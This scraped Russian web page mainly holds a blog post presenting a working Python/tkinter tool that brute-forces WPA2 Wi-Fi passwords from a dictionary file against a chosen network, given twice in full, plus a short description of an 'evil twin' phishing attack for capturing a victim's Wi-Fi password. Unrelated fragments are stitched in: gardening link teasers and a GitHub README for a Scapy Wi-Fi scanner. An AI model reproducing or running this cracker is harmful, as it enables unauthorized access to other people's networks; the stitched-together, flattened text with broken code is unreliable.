Диагностическое дерево проверки качества wi fi python

Русские Блоги

Привет всем, сегодня я говорю о небольшой программе для взлома паролей Wi-Fi. Конечно, как обычно, чтобы упростить использование программы, мы будем использовать GUI (tkiner) для создания интерактивного интерфейса. Для взлома большинство программ только Может сделать простой сбой базы данных, найти книгу паролей, попробовать одну за другой, использовать много времени и энергии для взлома пароля, и большинство программ взлома — это один процесс, один поток . И для некоторых хакеров они Используемые методы часто представляются высокоуровневыми, такими как общие «рыбная ловля» Приблизительно используйте свою собственную сетевую карту, чтобы атаковать сетевую карту другой стороны, взломать сетевую карту другой стороны, парализовать ее, а затем появиться с Wi-Fi с тем же именем, заставляя другую сторону ошибочно думать, что существует проблема с их маршрутизатором и необходимо обновить, в то время как другая сторона вводит свой реальный пароль . .
Позвольте мне рассказать о коде, который я выучил. Этот код написан на основе чужого кода. Это только то, что я узнал. Я должен сказать, что предыдущий преподаватель университета сказал нам: «Домашнее задание по миру» «Большая копия», но скопируйте свои чувства и отправляйтесь в грязь! Заранее спасибо тем пользователям сети, которые мне помогли.

Простой код выглядит следующим образом

from tkinter import * from pywifi import const import pywifi import time # Основные шаги: # 1, получите первую беспроводную сетевую карту # 2. Отключить все Wi-Fi # 3. Прочитайте книгу паролей # 4, установите время сна # Тестирование соединения def wificonnect(str,wifiname): # Окно беспроводного объекта wifi = pywifi.PyWiFi() # Возьмите первую беспроводную сетевую карту ifaces = wifi.interfaces()[0] # Отключить все Wi-Fi ifaces.disconnect() time.sleep(1) if ifaces.status()==const.IFACE_DISCONNECTED: # Создать файл подключения Wi-Fi profile = pywifi.Profile() profile.ssid = wifiname # алгоритм шифрования wifi profile.akm.append(const.AKM_TYPE_WPA2PSK) # Wi-Fi пароль profile.key = str # Разработка NIC profile.auth = const.AUTH_ALG_OPEN # Модуль шифрования, здесь вам нужно написать какой-то модуль шифрования, или вы не можете подключиться profile.cipher = const.CIPHER_TYPE_CCMP # Удалить все файлы Wi-Fi ifaces.remove_all_network_profiles() # Установите новый файл подключения tep_profile = ifaces.add_network_profile(profile) # Подключиться ifaces.connect(tep_profile) time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False def readPwd(): # Получить имя wifiname = entry.get().strip() path = r'./wifipwd.txt' file = open(path,'r') while True: try: # Читать mystr = file.readline().strip() # Тестовое соединение bool = wificonnect(mystr,wifiname) if bool: text.insert(END,«Пароль правильный»+mystr) text.see(END) text.update() file.close() break else: text.insert(END,'неправильный пароль'+mystr) text.see(END) text.update() except: continue # Создать окно root = Tk() root.title(Wi-Fi трещина) root.geometry('500x400') # Теги label = Label(root,text=«Введите имя WIFI для взлома:») #targeting label.grid() # Контроль ввода entry = Entry(root,font=("Microsoft Yahei",14)) entry.grid(row=0,column=1) # Управление списком text =Listbox(root,font=("Microsoft Yahei",14),width=40,height=10) text.grid(row=1,columnspan=2) Кнопка # button = Button(root,text = «Начать трескаться»,width=20,height=2,command=readPwd) button.grid(row=2,columnspan=2) # Окно дисплея root.mainloop() 

Общий эффект выглядит следующим образом:

Читайте также:  Чем покрасить стволы плодовых деревьев весной

Выше был написан мной, он более общий, и есть много необходимых не функциональных кодов функций, таких как закрытие окна и книга паролей (здесь простая книга паролей)

from tkinter import * from tkinter import ttk import pywifi from pywifi import const import time import tkinter.filedialog # Открыть просмотр файлов в Gui import tkinter.messagebox # Открыть окно напоминания о сообщении class MY_GUI(): def __init__(self,init_window_name): self.init_window_name = init_window_name # Путь к файлу пароля self.get_value = StringVar() # Установить переменное содержимое # Получить взломать Wi-Fi аккаунт self.get_wifi_value = StringVar() # Получить пароль Wi-Fi self.get_wifimm_value = StringVar() self.wifi = pywifi.PyWiFi() # Захватить сетевой интерфейс self.iface = self.wifi.interfaces()[0] # Возьмите первую беспроводную карту self.iface.disconnect() # Тестовая ссылка отключить все ссылки time.sleep(1) # Спать в течение 1 секунды # Проверьте, отключена ли сетевая карта assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def __str__(self): # Автоматический вызов функции, возврат к собственной сетевой карте return '(WIFI:%s,%s)' % (self.wifi,self.iface.name()) # Окно настроек def set_init_window(self): self.init_window_name.title("WIFI Crack Tool") self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=200,text=«Конфигурация») #Framework, следующие объекты добавлены для labelframe labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe,text="Поиск поблизости WiFi",command=self.scans_wifi_list).grid(column=0,row=0) self.pojie = Button(labelframe,text=«Начать взламывать»,command=self.readPassWord).grid(column=1,row=0) self.label = Label(labelframe,text="Путь к каталогу:").grid(column=0,row=1) self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1) self.file = Button(labelframe,text=«Добавить каталог файлов паролей»,command=self.add_mm_file).grid(column=2,row=1) self.wifi_text = Label(labelframe,text="WiFi аккаунт:").grid(column=0,row=2) self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2) self.wifi_mm_text = Label(labelframe,text=«Пароль WiFi:»).grid(column=2,row=2) self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W) self.wifi_labelframe = LabelFrame(text="Список Wi-Fi") self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW) # Определить древовидную структуру и полосу прокрутки self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d")) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # Название таблицы self.wifi_tree.column("a", width=50, anchor="center") self.wifi_tree.column("b", width=100, anchor="center") self.wifi_tree.column("c", width=100, anchor="center") self.wifi_tree.column("d", width=100, anchor="center") self.wifi_tree.heading("a", text="WiFiID") self.wifi_tree.heading("b", text="SSID") self.wifi_tree.heading("c", text="BSSID") self.wifi_tree.heading("d", text="signal") self.wifi_tree.grid(row=4,column=0,sticky=NSEW) self.wifi_tree.bind("",self.onDBClick) self.vbar.grid(row=4,column=1,sticky=NS) # Поиск Wi-Fi #cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT def scans_wifi_list(self): # Сканирование окружающего списка Wi-Fi # Начать сканирование print("^ _ ^ Начать сканирование ближайшего Wi-Fi . ") self.iface.scan() time.sleep(15) # Получить результаты сканирования через несколько секунд scanres = self.iface.scan_results() # Подсчитайте количество точек доступа, найденных поблизости nums = len(scanres) print(«Количество:% s»%(nums)) #print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal")) # Фактические данные self.show_scans_wifi_list(scanres) return scanres # Показать список Wi-Fi def show_scans_wifi_list(self,scans_res): for index,wifi_info in enumerate(scans_res): # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal)) self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) # Добавить каталог файлов паролей def add_mm_file(self): self.filename = tkinter.filedialog.askopenfilename() self.get_value.set(self.filename) # Связывающие события дерева def onDBClick(self,event): self.sels= event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1]) #print("you clicked on",self.wifi_tree.item(self.sels,"values")[1]) # Прочитать словарь паролей, чтобы соответствовать def readPassWord(self): self.getFilePath = self.get_value.get() self.get_wifissid = self.get_wifi_value.get() pwdfilehander=open(self.getFilePath,"r",errors="ignore") while True: try: self.pwdStr=pwdfilehander.readline() if not self.pwdStr: break self.bool1=self.connect(self.pwdStr,self.get_wifissid) if self.bool1: self.res = "=== правильно === имя wifi:% s совпадает с паролем:% s"%(self.get_wifissid,self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('Подсказка', «Успешная трещина! ! ! ') print(self.res) break else: self.res = "--- Ошибка --- имя wifi:% s соответствует паролю:% s"%(self.get_wifissid,self.pwdStr) print(self.res) sleep(3) except: continue # Сопоставить WiFi и пароль def connect(self,pwd_Str,wifi_ssid): # Создать файл ссылки wifi self.profile = pywifi.Profile() self.profile.ssid =wifi_ssid #wifiName self.profile.auth = const.AUTH_ALG_OPEN # Открытие сетевой карты self.profile.akm.append(const.AKM_TYPE_WPA2PSK)# алгоритм шифрования wifi self.profile.cipher = const.CIPHER_TYPE_CCMP Блок шифрования self.profile.key = pwd_Str #пароль self.iface.remove_all_network_profiles() # Удалить все файлы Wi-Fi self.tmp_profile = self.iface.add_network_profile(self.profile)# Установить новый файл ссылки self.iface.connect(self.tmp_profile)#ссылка на сайт time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: # Решить, подключаться ли isOK=True else: isOK=False self.iface.disconnect() #Отключить time.sleep(1) # Проверьте состояние отключения assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK def gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window() #ui.scans_wifi_list() init_window.mainloop() gui_start() 

Объектно-ориентированный подход интереснее, его можно выучить!

Читайте также:  Какие деревья раскисляют почву

Источник

Saved searches

Use saved searches to filter your results more quickly

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.

In this project, we will do a simple Wi-Fi scanner using Scapy library that sniffs and decode beacon frames which are transmitted every time by access points, they serve to announce the presence of a wireless network.

Mrb4by/WiFi-Scanner-in-Python-using-Scapy

This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Sign In Required

Please sign in to use Codespaces.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching Xcode

If nothing happens, download Xcode and try again.

Launching Visual Studio Code

Your codespace will open once ready.

There was a problem preparing your codespace, please try again.

Latest commit

Git stats

Files

Failed to load latest commit information.

README.md

Have you ever wanted to build a tool to display nearby wireless networks along with their MAC address and some other useful information ? Well, in this project, we are going to build a Wi-Fi scanner using Scapy library in Python.

Читайте также:  Листья опадают деревья остаются

If you’re on this field for a while, you might have seen airodump-ng utility that sniff, capture and decode 802.11 frames to display nearby wireless networks in a nice format, in this tutorial, we will do a similar one. For this we need to install scapy and we need to use pandas to do a nice formating for us. After all those requirements we need to focus to write the code and we are then good to go for executing it.

About

In this project, we will do a simple Wi-Fi scanner using Scapy library that sniffs and decode beacon frames which are transmitted every time by access points, they serve to announce the presence of a wireless network.

Источник

Оцените статью